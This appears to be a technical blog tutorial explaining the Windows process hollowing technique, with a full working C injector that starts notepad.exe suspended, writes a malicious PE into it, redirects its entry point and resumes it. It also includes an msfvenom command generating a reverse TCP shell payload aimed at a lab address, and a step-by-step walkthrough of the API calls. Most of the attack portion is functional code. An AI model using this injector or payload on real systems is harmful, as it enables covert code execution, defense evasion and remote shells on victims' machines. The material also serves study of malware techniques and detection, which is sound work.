Process Hollowing

Code and executables download: From GitHub

Introduction

Process Hollowing is a technique that modifies a running trusted process. The changes made are at minimum the following:

• spawn a new suspended process
• unmap the content of the previous process to leave an “empty” suspended process
• remap the suspended process to a malicious payload
• resume the target process, which will execute the malicious process

A fantastic and very in-depth resource on Process Hollowing can be found here: https://www.huntandhackett.com/blog/concealed-code-execution-techniques-and-detection

Code Analysis

The code starts by defining the path of the malicious executable and the path of the target/decoy executable. In this example, the malicious executable is the output from

1
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.56.102 lport=4444  -f exe -o malicious.exe

and the target executable is notepad.exe.

The expectation is that, with the execution of the process_hollowing.exe file, we should be able to see traffic with destination host 192.168.56.102 on port 4444 coming from notepad as shown in the screenshot below:

The full code is:

1
#include <windows.h>
2
#include <winnt.h>
3
#include <winternl.h>
4

5
#include <stdio.h>
6
#include <stddef.h>
7

8
int main() {
9
    LPSTR malFile = "C:\\Users\\REM\\Desktop\\malicious.exe";
10
    LPSTR decoyApp = "C:\\Windows\\System32\\notepad.exe";
11

12
    HANDLE hFile =
13
        CreateFileA(malFile, GENERIC_READ, 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
14

15
    DWORD fileSize = GetFileSize(hFile, NULL);
16
    PBYTE malBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
17

18
    ReadFile(hFile, malBuffer, fileSize, 0x00, NULL);
19
    CloseHandle(hFile);
20

21
    printf("Creating decoy process.\n");
22

23
    PROCESS_INFORMATION processInfo = {0};
24
    STARTUPINFO startupInfo = {0};
25
    CreateProcessA(
26
        decoyApp,
27
        NULL,
28
        NULL,
29
        NULL,
30
        TRUE,
31
        CREATE_SUSPENDED,
32
        NULL,
33
        NULL,
34
        &startupInfo,
35
        &processInfo
36
    );
37

38
    printf("Target process created. PID: %lu \n", processInfo.dwProcessId);
39

40
    PIMAGE_NT_HEADERS imageNtHeaders =
41
        (PIMAGE_NT_HEADERS)((ULONG_PTR)malBuffer + ((PIMAGE_DOS_HEADER)malBuffer)->e_lfanew);
42

43
    PBYTE pRemoteAddr = VirtualAllocEx(
44
        processInfo.hProcess,
45
        (LPVOID)imageNtHeaders->OptionalHeader.ImageBase,
46
        (SIZE_T)imageNtHeaders->OptionalHeader.SizeOfImage,
47
        MEM_COMMIT | MEM_RESERVE,
48
        PAGE_READWRITE
49
    );
50

51
    printf("Writing Payload.\n");
52

53
    SIZE_T bytesWritten = 0;
54
    WriteProcessMemory(
55
        processInfo.hProcess,
56
        pRemoteAddr,
57
        malBuffer,
58
        imageNtHeaders->OptionalHeader.SizeOfHeaders,
59
        &bytesWritten
60
    );
61
    printf("Writing Sections.\n");
62

63
    PIMAGE_SECTION_HEADER imageSectionHeaders = IMAGE_FIRST_SECTION(imageNtHeaders);
64
    for (int i = 0; i < imageNtHeaders->FileHeader.NumberOfSections; i++) {
65
        WriteProcessMemory(
66
            processInfo.hProcess,
67
            (PVOID)(pRemoteAddr + imageSectionHeaders[i].VirtualAddress),
68
            (PVOID)(malBuffer + imageSectionHeaders[i].PointerToRawData),
69
            imageSectionHeaders[i].SizeOfRawData,
70
            &bytesWritten
71
        );
72
    }
73

74
    CONTEXT context = {.ContextFlags = CONTEXT_ALL};
75
    GetThreadContext(processInfo.hThread, &context);
76
    ULONG_PTR imageOffset = context.Rdx + offsetof(PEB, Reserved3[1]);
77

78
    printf("Overwriting Image Base Address.\n");
79

80
    WriteProcessMemory(
81
        processInfo.hProcess,
82
        (PVOID)imageOffset,
83
        pRemoteAddr,
84
        sizeof(PVOID),
85
        &bytesWritten
86
    );
87

88
    printf("Changing headers permissions.\n");
89
    for (DWORD i = 0; i < imageNtHeaders->FileHeader.NumberOfSections; i++) {
90

91
        DWORD dwOldProtection = 0;
92
        VirtualProtectEx(
93
            processInfo.hProcess,
94
            (PVOID)(pRemoteAddr + imageSectionHeaders[i].VirtualAddress),
95
            imageSectionHeaders[i].Misc.VirtualSize,
96
            PAGE_EXECUTE_READWRITE,
97
            &dwOldProtection
98
        );
99
    }
100

101
    printf("Setting thread context.\n");
102

103
    context.Rcx = (DWORD64)(pRemoteAddr + imageNtHeaders->OptionalHeader.AddressOfEntryPoint);
104
    SetThreadContext(processInfo.hThread, &context);
105

106
    printf("Resuming hollowed thread.\n");
107
    ResumeThread(processInfo.hThread);
108
    WaitForSingleObject(processInfo.hProcess, INFINITE);
109

110
    CloseHandle(processInfo.hProcess);
111
    CloseHandle(processInfo.hThread);
112
    HeapFree(GetProcessHeap(), 0x00, malBuffer);
113

114
    return 0;
115
}

Before starting with the steps defined above, what the program does is read the malicious payload, allocate enough memory on the heap to fit the content of the executable using HeapAlloc 1 and read the content of the file using ReadFile 2, which saves the content into a buffer (malBuffer) that is used throughout the rest of the program. Note that malBuffer is simply a byte representation of a real PE file and, as such, it is possible to extract any PE/DOS-related information out of it when needed, which we will see shortly.

The creation of the suspended process is done with CreateProcess, using the CREATE_SUSPENDED flag 3. The CreateProcess call writes into a struct called processInfo, which contains all the information about the process and is used multiple times during execution.

At this point the code needs to overwrite the notepad memory to contain the malicious payload. This requires allocating memory in a remote process (remote meaning: not the process that is currently executing the code, but a different one, in this case notepad.exe). The standard VirtualAlloc cannot be used, since it does not allow writing to a remote process, so the code uses VirtualAllocEx 4, which requires the following parameters:

1
LPVOID VirtualAllocEx(
2
  [in]           HANDLE hProcess,
3
  [in, optional] LPVOID lpAddress,
4
  [in]           SIZE_T dwSize,
5
  [in]           DWORD  flAllocationType,
6
  [in]           DWORD  flProtect
7
);

It is straightforward to obtain the first parameter and the last two. The first one is the handle to the process, and since it has already been created with all the information stored in processInfo, it can simply be accessed via processInfo.hProcess. The last two are constants for the allocation type and permissions on the memory region. The first one will be MEM_COMMIT | MEM_RESERVE and the second PAGE_READWRITE.

The second and third arguments are a bit more complicated to define, but they are crucial. From the Microsoft documentation:

The “desired starting address” is basically the point inside the malicious payload that the process is expected to start executing from. Note that this address cannot simply be the address of malBuffer, since notepad.exe will not be able to execute a new executable from the first byte. Instead, it is necessary to find the base address of the process, which is defined in the ImageBase address of the OptionalHeader portion of the PE header 5.

So how do we get the OptionalHeader?

The code first gets the NT_HEADERS of the malicious PE, which is retrieved in the following way:

1
PIMAGE_NT_HEADERS imageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)malBuffer + ((PIMAGE_DOS_HEADER)malBuffer)->e_lfanew);

Looking at the code step by step:

• (ULONG_PTR)malBuffer simply converts a pointer to a 64-bit pointer for arithmetic.
• (PIMAGE_DOS_HEADER)malBuffer casts the first bytes of malBuffer to be read as a DOS header, which is a valid operation in this case since malBuffer is indeed a PE file with a DOS header.
• ((PIMAGE_DOS_HEADER)malBuffer)->e_lfanew extracts the e_lfanew field, which is the field that points to the address of the NT_HEADERS 6 from the point of view of the beginning of the DOS header. In practice, the value is a small number that says: “the start of the file is at address 0, the NT_HEADERS is at address 0xC8 (for example) from the beginning”.
• The sum between the two pointers gives the full pointer to the NT_HEADERS from the allocated memory point of view. So, if the OS has allocated some memory, for example at address 000002D1E892C4A0, the NT_HEADERS of that memory area will be at 0x000002D1E892C4A0 + 0xC8.
• The result of the sum is cast to PIMAGE_NT_HEADERS and saved in the imageNTHeaders variable.

At this point we can use the information in imageNtHeaders to populate the arguments of VirtualAllocEx. Specifically, the code uses the fields ImageBase and SizeOfImage. The full function call is:

1
PBYTE pRemoteAddr = VirtualAllocEx(
2
    processInfo.hProcess,
3
    (LPVOID)imageNtHeaders->OptionalHeader.ImageBase,
4
    (SIZE_T)imageNtHeaders->OptionalHeader.SizeOfImage,
5
    MEM_COMMIT | MEM_RESERVE,
6
    PAGE_READWRITE
7
);

This is followed by writing the malicious image into the allocated memory inside the process using WriteProcessMemory 7.

Stopping here will not work, since the remapping still requires mapping the header’s sections and assigning permissions to them. This is accomplished by the two for loops in the program. The first one iterates over all the sections of the PE file and writes them into the target process; the second one assigns the permissions using VirtualProtectEx 8. Note that the permissions-assignment loop could have been implemented more precisely, and this version will likely trigger many security solutions since all the sections are given RWX permissions. However, for the sake of simplicity this works well for analysis.

The last part of the program is to prepare the thread inside the process to execute, and this is done via SetThreadContext 9. The “context” is a struct that contains information about the CPU registers that the processor needs to execute the thread 10 11. The context is taken from the processInfo struct using GetThreadContext 12, effectively extracting the context of the thread running notepad.exe and setting it up with the RCX register pointing to the AddressOfEntryPoint of the malicious program:

1
context.Rcx = (DWORD64)(pRemoteAddr + imageNtHeaders->OptionalHeader.AddressOfEntryPoint);
2
SetThreadContext(processInfo.hThread, &context);

After that, the thread is resumed and the malicious code is executed.

Appendix